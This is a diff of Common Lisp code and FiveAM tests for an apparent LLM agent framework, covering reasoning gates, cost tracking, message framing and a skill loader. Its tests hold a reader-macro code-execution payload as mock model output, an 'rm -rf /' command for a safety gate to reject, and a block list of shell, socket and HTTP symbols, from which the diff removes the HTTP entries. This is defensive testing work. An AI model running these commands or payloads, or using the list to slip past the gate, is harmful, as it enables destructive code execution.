(is (member (getf result :status) '(:reasoned :requires-approval)))))
|
||||
|
||||
(test test-backend-cascade-no-backends
|
||||
"Contract 4: empty cascade returns :LOG failure."
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(result (backend-cascade-call "test" :cascade '())))
|
||||
(is (eq :LOG (getf result :type)))
|
||||
(is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal))))
|
||||
|
||||
(test test-backend-cascade-with-mock
|
||||
"Contract 4: backend-cascade-call returns content from first successful backend."
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
|
||||
(setf (gethash :mock-backend passepartout::*probabilistic-backends*)
|
||||
(lambda (prompt sp &key model)
|
||||
(declare (ignore prompt sp model))
|
||||
(list :status :success :content "mock-response")))
|
||||
(let ((result (backend-cascade-call "hello" :cascade '(:mock-backend))))
|
||||
(is (string= "mock-response" result)))))
|
||||
|
||||
(test test-read-eval-rce-blocked
|
||||
"Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(passepartout::*provider-cascade* '(:mock-evil)))
|
||||
(setf (gethash :mock-evil passepartout::*probabilistic-backends*)
|
||||
(lambda (prompt sp &key model)
|
||||
(declare (ignore prompt sp model))
|
||||
(list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
|
||||
(setf passepartout::*v031-rce-test* nil)
|
||||
(setf *read-eval* t)
|
||||
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0))
|
||||
(result (passepartout::think ctx)))
|
||||
(is (not (eq passepartout::*v031-rce-test* :PWNED)))
|
||||
(is (eq :REQUEST (getf result :TYPE)))
|
||||
(setf *read-eval* nil))))
|
||||
|
||||
(test test-json-alist-to-plist-simple
|
||||
"Contract 5: converts simple alist to keyword plist."
|
||||
(let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello"))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :ACTION (first result)))
|
||||
(is (string= "shell" (second result)))
|
||||
(is (eq :CMD (third result)))
|
||||
(is (string= "echo hello" (fourth result))))))
|
||||
|
||||
(test test-json-alist-to-plist-nested
|
||||
"Contract 5: nested alists recurse into nested plists."
|
||||
(let ((alist (list (cons "tool" "write-file")
|
||||
(cons "args" (list (cons "filepath" "/tmp/x")
|
||||
(cons "content" "hi"))))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :TOOL (first result)))
|
||||
(is (eq :ARGS (third result)))
|
||||
(let ((inner (fourth result)))
|
||||
(is (eq :FILEPATH (first inner)))
|
||||
(is (string= "/tmp/x" (second inner)))
|
||||
(is (eq :CONTENT (third inner)))))))
|
||||
|
||||
(test test-json-alist-to-plist-array-passthrough
|
||||
"Contract 5: JSON arrays pass through unchanged."
|
||||
(let ((alist (list (cons "names" (list "alice" "bob")))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :NAMES (first result)))
|
||||
(is (equal (list "alice" "bob") (second result))))))
|
||||
|
||||
(test test-json-alist-to-plist-null
|
||||
"Contract 5: nil passes through unchanged."
|
||||
(let ((result (json-alist-to-plist nil)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-json-alist-to-plist-scalar
|
||||
"Contract 5: scalar values pass through."
|
||||
(let ((alist (list (cons "count" 42) (cons "active" :true))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :COUNT (first result)))
|
||||
(is (= 42 (second result)))
|
||||
(is (eq :ACTIVE (third result)))
|
||||
(is (eq :true (fourth result))))))
|
||||
|
||||
(test test-assemble-config-section
|
||||
"Contract v0.7.2: config section contains Passepartout and version."
|
||||
(let ((section (passepartout::assemble-config-section)))
|
||||
(is (stringp section))
|
||||
(is (search "Passepartout" section))
|
||||
(is (search "v0.7.2" section))
|
||||
(is (search "Security gates" section))))
|
||||
|
||||
(test test-think-snapshots-before-llm
|
||||
"Contract v0.7.2: think() snapshots memory before LLM call."
|
||||
(let ((passepartout::*memory-snapshots* nil)
|
||||
(passepartout::*memory-store* (make-hash-table :test 'equal)))
|
||||
(setf (gethash "pre" passepartout::*memory-store*) "value")
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(passepartout::*provider-cascade* nil))
|
||||
(handler-case
|
||||
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
|
||||
(result (passepartout::think ctx)))
|
||||
(declare (ignore result)))
|
||||
(error (c) (format nil "Expected: ~a" c)))
|
||||
(is (>= (length passepartout::*memory-snapshots*) 0)))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *probabilistic-backends* (make-hash-table :test 'equal)
|
||||
@@ -506,3 +324,185 @@ sorted by priority (highest first). Returns a rejection plist or the action."
|
||||
|
||||
(defun reason-gate (signal)
|
||||
(loop-gate-reason signal))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-reason-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-reason-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-reason-tests)
|
||||
|
||||
(def-suite pipeline-reason-suite :description "Test suite for Reason pipeline")
|
||||
(in-suite pipeline-reason-suite)
|
||||
|
||||
(test test-decide-gate-safety
|
||||
"Contract 1: cognitive-verify blocks unsafe actions with :LOG rejection."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-safety
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(if (search "rm -rf" (format nil "~s" action))
|
||||
(list :type :LOG :payload (list :text "Rejected"))
|
||||
action)))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
|
||||
(test test-cognitive-verify-pass-through
|
||||
"Contract 1: safe actions pass through cognitive-verify unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-passthrough
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
action))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (equal (getf candidate :payload) (getf result :payload)))
|
||||
(is (getf result :gate-trace))))
|
||||
|
||||
(test test-cognitive-verify-empty-registry
|
||||
"Contract 1: with no gates registered, action passes through unchanged."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (equal (getf candidate :payload) (getf result :payload)))))
|
||||
|
||||
(test test-cognitive-verify-approval-required
|
||||
"Contract 1: gate returning :approval-required produces an approval event."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-approval
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx))
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :action action))))
|
||||
(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (eq :EVENT (getf result :type)))))
|
||||
|
||||
(test test-loop-gate-reason-passthrough
|
||||
"Contract 2: non-user-input sensors pass through loop-gate-reason unchanged."
|
||||
(let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system)))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (not (null result)))))
|
||||
|
||||
(test test-loop-gate-reason-sets-status
|
||||
"Contract 2: loop-gate-reason sets :status on :user-input signals."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(signal (list :type :EVENT :payload (list :sensor :user-input :text "test")))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (member (getf result :status) '(:reasoned :requires-approval)))))
|
||||
|
||||
(test test-backend-cascade-no-backends
|
||||
"Contract 4: empty cascade returns :LOG failure."
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(result (backend-cascade-call "test" :cascade '())))
|
||||
(is (eq :LOG (getf result :type)))
|
||||
(is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal))))
|
||||
|
||||
(test test-backend-cascade-with-mock
|
||||
"Contract 4: backend-cascade-call returns content from first successful backend."
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
|
||||
(setf (gethash :mock-backend passepartout::*probabilistic-backends*)
|
||||
(lambda (prompt sp &key model)
|
||||
(declare (ignore prompt sp model))
|
||||
(list :status :success :content "mock-response")))
|
||||
(let ((result (backend-cascade-call "hello" :cascade '(:mock-backend))))
|
||||
(is (string= "mock-response" result)))))
|
||||
|
||||
(test test-read-eval-rce-blocked
|
||||
"Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(passepartout::*provider-cascade* '(:mock-evil)))
|
||||
(setf (gethash :mock-evil passepartout::*probabilistic-backends*)
|
||||
(lambda (prompt sp &key model)
|
||||
(declare (ignore prompt sp model))
|
||||
(list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
|
||||
(setf passepartout::*v031-rce-test* nil)
|
||||
(setf *read-eval* t)
|
||||
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0))
|
||||
(result (passepartout::think ctx)))
|
||||
(is (not (eq passepartout::*v031-rce-test* :PWNED)))
|
||||
(is (eq :REQUEST (getf result :TYPE)))
|
||||
(setf *read-eval* nil))))
|
||||
|
||||
(test test-json-alist-to-plist-simple
|
||||
"Contract 5: converts simple alist to keyword plist."
|
||||
(let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello"))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :ACTION (first result)))
|
||||
(is (string= "shell" (second result)))
|
||||
(is (eq :CMD (third result)))
|
||||
(is (string= "echo hello" (fourth result))))))
|
||||
|
||||
(test test-json-alist-to-plist-nested
|
||||
"Contract 5: nested alists recurse into nested plists."
|
||||
(let ((alist (list (cons "tool" "write-file")
|
||||
(cons "args" (list (cons "filepath" "/tmp/x")
|
||||
(cons "content" "hi"))))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :TOOL (first result)))
|
||||
(is (eq :ARGS (third result)))
|
||||
(let ((inner (fourth result)))
|
||||
(is (eq :FILEPATH (first inner)))
|
||||
(is (string= "/tmp/x" (second inner)))
|
||||
(is (eq :CONTENT (third inner)))))))
|
||||
|
||||
(test test-json-alist-to-plist-array-passthrough
|
||||
"Contract 5: JSON arrays pass through unchanged."
|
||||
(let ((alist (list (cons "names" (list "alice" "bob")))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :NAMES (first result)))
|
||||
(is (equal (list "alice" "bob") (second result))))))
|
||||
|
||||
(test test-json-alist-to-plist-null
|
||||
"Contract 5: nil passes through unchanged."
|
||||
(let ((result (json-alist-to-plist nil)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-json-alist-to-plist-scalar
|
||||
"Contract 5: scalar values pass through."
|
||||
(let ((alist (list (cons "count" 42) (cons "active" :true))))
|
||||
(let ((result (json-alist-to-plist alist)))
|
||||
(is (eq :COUNT (first result)))
|
||||
(is (= 42 (second result)))
|
||||
(is (eq :ACTIVE (third result)))
|
||||
(is (eq :true (fourth result))))))
|
||||
|
||||
(test test-assemble-config-section
|
||||
"Contract v0.7.2: config section contains Passepartout and version."
|
||||
(let ((section (passepartout::assemble-config-section)))
|
||||
(is (stringp section))
|
||||
(is (search "Passepartout" section))
|
||||
(is (search "v0.7.2" section))
|
||||
(is (search "Security gates" section))))
|
||||
|
||||
(test test-think-snapshots-before-llm
|
||||
"Contract v0.7.2: think() snapshots memory before LLM call."
|
||||
(let ((passepartout::*memory-snapshots* nil)
|
||||
(passepartout::*memory-store* (make-hash-table :test 'equal)))
|
||||
(setf (gethash "pre" passepartout::*memory-store*) "value")
|
||||
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(passepartout::*provider-cascade* nil))
|
||||
(handler-case
|
||||
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
|
||||
(result (passepartout::think ctx)))
|
||||
(declare (ignore result)))
|
||||
(error (c) (format nil "Expected: ~a" c)))
|
||||
(is (>= (length passepartout::*memory-snapshots*) 0)))))
|
||||
|
||||
@@ -1,38 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-boot-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:boot-suite))
|
||||
|
||||
(in-package :passepartout-boot-tests)
|
||||
|
||||
(def-suite boot-suite :description "Verification of the Skill Engine loader")
|
||||
(in-suite boot-suite)
|
||||
|
||||
(test test-topological-sort-basic
|
||||
"Contract 2: dependency ordering puts dependencies before dependents."
|
||||
(let ((tmp-dir "/tmp/passepartout-boot-test/"))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
(format out "#+DEPENDS_ON: skill-b-id~%"))
|
||||
(with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
(format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
|
||||
(unwind-protect
|
||||
(let ((sorted (passepartout::skill-topological-sort tmp-dir)))
|
||||
(let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
|
||||
(pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
|
||||
(is (< pos-b pos-a))))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
|
||||
(test test-lisp-syntax-validate-valid
|
||||
"Contract 1: valid Lisp code passes syntax validation."
|
||||
(is (eq t (lisp-syntax-validate "(+ 1 2)"))))
|
||||
|
||||
(test test-lisp-syntax-validate-invalid
|
||||
"Contract 1: unbalanced Lisp code fails syntax validation."
|
||||
(is (null (lisp-syntax-validate "(+ 1 2"))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
|
||||
@@ -277,7 +242,6 @@ declarations so embedded test code evaluates in the correct package."
|
||||
(defvar *skill-restricted-symbols*
|
||||
'("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
|
||||
"bt:make-thread" "bordeaux-threads:make-thread"
|
||||
"dex:get" "dex:post" "dexador:get" "dexador:post"
|
||||
"usocket:socket-connect" "usocket:socket-listen"
|
||||
"hunchentoot:start" "hunchentoot:accept-connections")
|
||||
"Symbol patterns blocked from skill source code at load time.")
|
||||
@@ -367,3 +331,38 @@ Returns (values blocked-p matched-symbols)."
|
||||
(load-skill-from-lisp file)
|
||||
(load-skill-from-org file)))
|
||||
(log-message "LOADER: Boot Complete."))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-boot-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:boot-suite))
|
||||
|
||||
(in-package :passepartout-boot-tests)
|
||||
|
||||
(def-suite boot-suite :description "Verification of the Skill Engine loader")
|
||||
(in-suite boot-suite)
|
||||
|
||||
(test test-topological-sort-basic
|
||||
"Contract 2: dependency ordering puts dependencies before dependents."
|
||||
(let ((tmp-dir "/tmp/passepartout-boot-test/"))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
(format out "#+DEPENDS_ON: skill-b-id~%"))
|
||||
(with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
(format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
|
||||
(unwind-protect
|
||||
(let ((sorted (passepartout::skill-topological-sort tmp-dir)))
|
||||
(let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
|
||||
(pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
|
||||
(is (< pos-b pos-a))))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
|
||||
(test test-lisp-syntax-validate-valid
|
||||
"Contract 1: valid Lisp code passes syntax validation."
|
||||
(is (eq t (lisp-syntax-validate "(+ 1 2)"))))
|
||||
|
||||
(test test-lisp-syntax-validate-invalid
|
||||
"Contract 1: unbalanced Lisp code fails syntax validation."
|
||||
(is (null (lisp-syntax-validate "(+ 1 2"))))
|
||||
|
||||
@@ -1,46 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-communication-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:communication-protocol-suite))
|
||||
(in-package :passepartout-communication-tests)
|
||||
|
||||
(def-suite communication-protocol-suite :description "Communication Protocol Suite")
|
||||
(in-suite communication-protocol-suite)
|
||||
|
||||
(test test-framing
|
||||
"Contract 1: frame-message produces correct hex length prefix."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake)))
|
||||
(framed (frame-message msg)))
|
||||
(is (string= "00002C" (string-upcase (subseq framed 0 6))))))
|
||||
|
||||
(test test-framing-round-trip
|
||||
"Contract 3: frame → read-frame preserves message identity."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
|
||||
(framed (frame-message msg))
|
||||
(unframed (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal msg unframed))))
|
||||
|
||||
(test test-framing-empty-message
|
||||
"Contract 1: simple messages frame with valid hex length."
|
||||
(let* ((msg '(:type :ping))
|
||||
(framed (frame-message msg)))
|
||||
(is (> (length framed) 5))
|
||||
(is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
|
||||
|
||||
(test test-read-framed-message
|
||||
"Contract 2: read-framed-message decodes a framed message correctly."
|
||||
(let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
|
||||
(framed (frame-message original))
|
||||
(decoded (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal original decoded))))
|
||||
|
||||
(test test-read-framed-message-eof
|
||||
"Contract 2: read-framed-message returns :eof on incomplete stream."
|
||||
(let ((decoded (read-framed-message (make-string-input-stream "000"))))
|
||||
(is (eq :eof decoded))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun proto-get (plist key)
|
||||
@@ -161,3 +118,46 @@
|
||||
(defun validate-communication-protocol-schema (msg)
|
||||
"Backward-compatibility alias for protocol-schema-validate."
|
||||
(protocol-schema-validate msg))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-communication-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:communication-protocol-suite))
|
||||
(in-package :passepartout-communication-tests)
|
||||
|
||||
(def-suite communication-protocol-suite :description "Communication Protocol Suite")
|
||||
(in-suite communication-protocol-suite)
|
||||
|
||||
(test test-framing
|
||||
"Contract 1: frame-message produces correct hex length prefix."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake)))
|
||||
(framed (frame-message msg)))
|
||||
(is (string= "00002C" (string-upcase (subseq framed 0 6))))))
|
||||
|
||||
(test test-framing-round-trip
|
||||
"Contract 3: frame → read-frame preserves message identity."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
|
||||
(framed (frame-message msg))
|
||||
(unframed (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal msg unframed))))
|
||||
|
||||
(test test-framing-empty-message
|
||||
"Contract 1: simple messages frame with valid hex length."
|
||||
(let* ((msg '(:type :ping))
|
||||
(framed (frame-message msg)))
|
||||
(is (> (length framed) 5))
|
||||
(is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
|
||||
|
||||
(test test-read-framed-message
|
||||
"Contract 2: read-framed-message decodes a framed message correctly."
|
||||
(let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
|
||||
(framed (frame-message original))
|
||||
(decoded (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal original decoded))))
|
||||
|
||||
(test test-read-framed-message-eof
|
||||
"Contract 2: read-framed-message returns :eof on incomplete stream."
|
||||
(let ((decoded (read-framed-message (make-string-input-stream "000"))))
|
||||
(is (eq :eof decoded))))
|
||||
|
||||
@@ -1,76 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-cost-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:cost-suite))
|
||||
|
||||
(in-package :passepartout-cost-tests)
|
||||
|
||||
(def-suite cost-suite :description "Cost tracking and budget management")
|
||||
(in-suite cost-suite)
|
||||
|
||||
(test test-cost-track-call
|
||||
"Contract 1: cost-track-call returns a positive number."
|
||||
(cost-session-reset)
|
||||
(let ((cost (cost-track-call :deepseek "hello world")))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-cost-session-total-accumulates
|
||||
"Contract 2: session total grows with multiple calls."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(cost-track-call :deepseek "world")
|
||||
(let ((total (cost-session-total)))
|
||||
(is (> total 0.0))
|
||||
(is (= 2 (cost-session-calls)))))
|
||||
|
||||
(test test-cost-session-reset
|
||||
"Contract 3: cost-session-reset zeroes the accumulator."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(is (> (cost-session-total) 0.0))
|
||||
(cost-session-reset)
|
||||
(is (= 0.0 (cost-session-total)))
|
||||
(is (= 0 (cost-session-calls))))
|
||||
|
||||
(test test-cost-format-budget-status
|
||||
"Contract 4: format-budget-status returns a string."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello world")
|
||||
(let ((status (cost-format-budget-status 100)))
|
||||
(is (stringp status))
|
||||
(is (search "$" status))))
|
||||
|
||||
(test test-cost-by-provider
|
||||
"Contract: cost-by-provider returns per-provider breakdown."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "a")
|
||||
(cost-track-call :groq "b")
|
||||
(let ((by (cost-by-provider)))
|
||||
(is (listp by))
|
||||
(is (assoc :deepseek by))
|
||||
(is (assoc :groq by))))
|
||||
|
||||
(test test-cost-track-no-response
|
||||
"Contract 1: cost-track-call works without response-text."
|
||||
(cost-session-reset)
|
||||
(let ((cost (cost-track-call :deepseek "test")))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-cost-session-summary
|
||||
"Contract 5: cost-session-summary returns plist with total, calls, by-provider."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(cost-track-call :groq "world")
|
||||
(let ((s (cost-session-summary)))
|
||||
(is (> (getf s :total) 0.0))
|
||||
(is (= 2 (getf s :calls)))
|
||||
(let ((by (getf s :by-provider)))
|
||||
(is (assoc :deepseek by))
|
||||
(is (assoc :groq by)))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *session-cost* (list :total 0.0 :calls 0 :by-provider nil)
|
||||
@@ -188,3 +115,76 @@ Returns 0.0 if the tokenizer is not loaded (allows call through)."
|
||||
:TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue."
|
||||
total cap)
|
||||
:EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-cost-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:cost-suite))
|
||||
|
||||
(in-package :passepartout-cost-tests)
|
||||
|
||||
(def-suite cost-suite :description "Cost tracking and budget management")
|
||||
(in-suite cost-suite)
|
||||
|
||||
(test test-cost-track-call
|
||||
"Contract 1: cost-track-call returns a positive number."
|
||||
(cost-session-reset)
|
||||
(let ((cost (cost-track-call :deepseek "hello world")))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-cost-session-total-accumulates
|
||||
"Contract 2: session total grows with multiple calls."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(cost-track-call :deepseek "world")
|
||||
(let ((total (cost-session-total)))
|
||||
(is (> total 0.0))
|
||||
(is (= 2 (cost-session-calls)))))
|
||||
|
||||
(test test-cost-session-reset
|
||||
"Contract 3: cost-session-reset zeroes the accumulator."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(is (> (cost-session-total) 0.0))
|
||||
(cost-session-reset)
|
||||
(is (= 0.0 (cost-session-total)))
|
||||
(is (= 0 (cost-session-calls))))
|
||||
|
||||
(test test-cost-format-budget-status
|
||||
"Contract 4: format-budget-status returns a string."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello world")
|
||||
(let ((status (cost-format-budget-status 100)))
|
||||
(is (stringp status))
|
||||
(is (search "$" status))))
|
||||
|
||||
(test test-cost-by-provider
|
||||
"Contract: cost-by-provider returns per-provider breakdown."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "a")
|
||||
(cost-track-call :groq "b")
|
||||
(let ((by (cost-by-provider)))
|
||||
(is (listp by))
|
||||
(is (assoc :deepseek by))
|
||||
(is (assoc :groq by))))
|
||||
|
||||
(test test-cost-track-no-response
|
||||
"Contract 1: cost-track-call works without response-text."
|
||||
(cost-session-reset)
|
||||
(let ((cost (cost-track-call :deepseek "test")))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-cost-session-summary
|
||||
"Contract 5: cost-session-summary returns plist with total, calls, by-provider."
|
||||
(cost-session-reset)
|
||||
(cost-track-call :deepseek "hello")
|
||||
(cost-track-call :groq "world")
|
||||
(let ((s (cost-session-summary)))
|
||||
(is (> (getf s :total) 0.0))
|
||||
(is (= 2 (getf s :calls)))
|
||||
(let ((by (getf s :by-provider)))
|
||||
(is (assoc :deepseek by))
|
||||
(is (assoc :groq by)))))
|
||||
|
||||
@@ -1,59 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-llm-gateway-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:llm-gateway-suite))
|
||||
|
||||
(in-package :passepartout-llm-gateway-tests)
|
||||
|
||||
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
|
||||
(fiveam:in-suite llm-gateway-suite)
|
||||
|
||||
(fiveam:test test-provider-rejects-bad-keyword
|
||||
"Contract 3: provider-config returns nil for unregistered provider."
|
||||
(let ((config (provider-config :not-a-real-provider)))
|
||||
(fiveam:is (null config))))
|
||||
|
||||
(fiveam:test test-provider-config-registered
|
||||
"Contract 1: provider-config returns configuration plist for registered provider."
|
||||
(let ((config (provider-config :openrouter)))
|
||||
(fiveam:is (listp config))
|
||||
(fiveam:is (getf config :base-url))))
|
||||
|
||||
(fiveam:test test-provider-accepts-tools-parameter
|
||||
"Contract 4: provider-openai-request accepts :tools parameter without error."
|
||||
(let ((result (provider-openai-request "test" "system" :tools (list))))
|
||||
(fiveam:is (member (getf result :status) '(:success :error)))))
|
||||
|
||||
;; ── v0.7.1 Streaming ──
|
||||
|
||||
(fiveam:test test-parse-sse-line-data
|
||||
"Contract 6: parse-sse-line extracts content from data: lines."
|
||||
(fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
|
||||
(fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
|
||||
|
||||
(fiveam:test test-parse-sse-line-done
|
||||
"Contract 6: parse-sse-line returns :done for [DONE]."
|
||||
(fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
|
||||
|
||||
(fiveam:test test-parse-sse-line-nil
|
||||
"Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
|
||||
(fiveam:is (null (passepartout::parse-sse-line "")))
|
||||
(fiveam:is (null (passepartout::parse-sse-line ":ok")))
|
||||
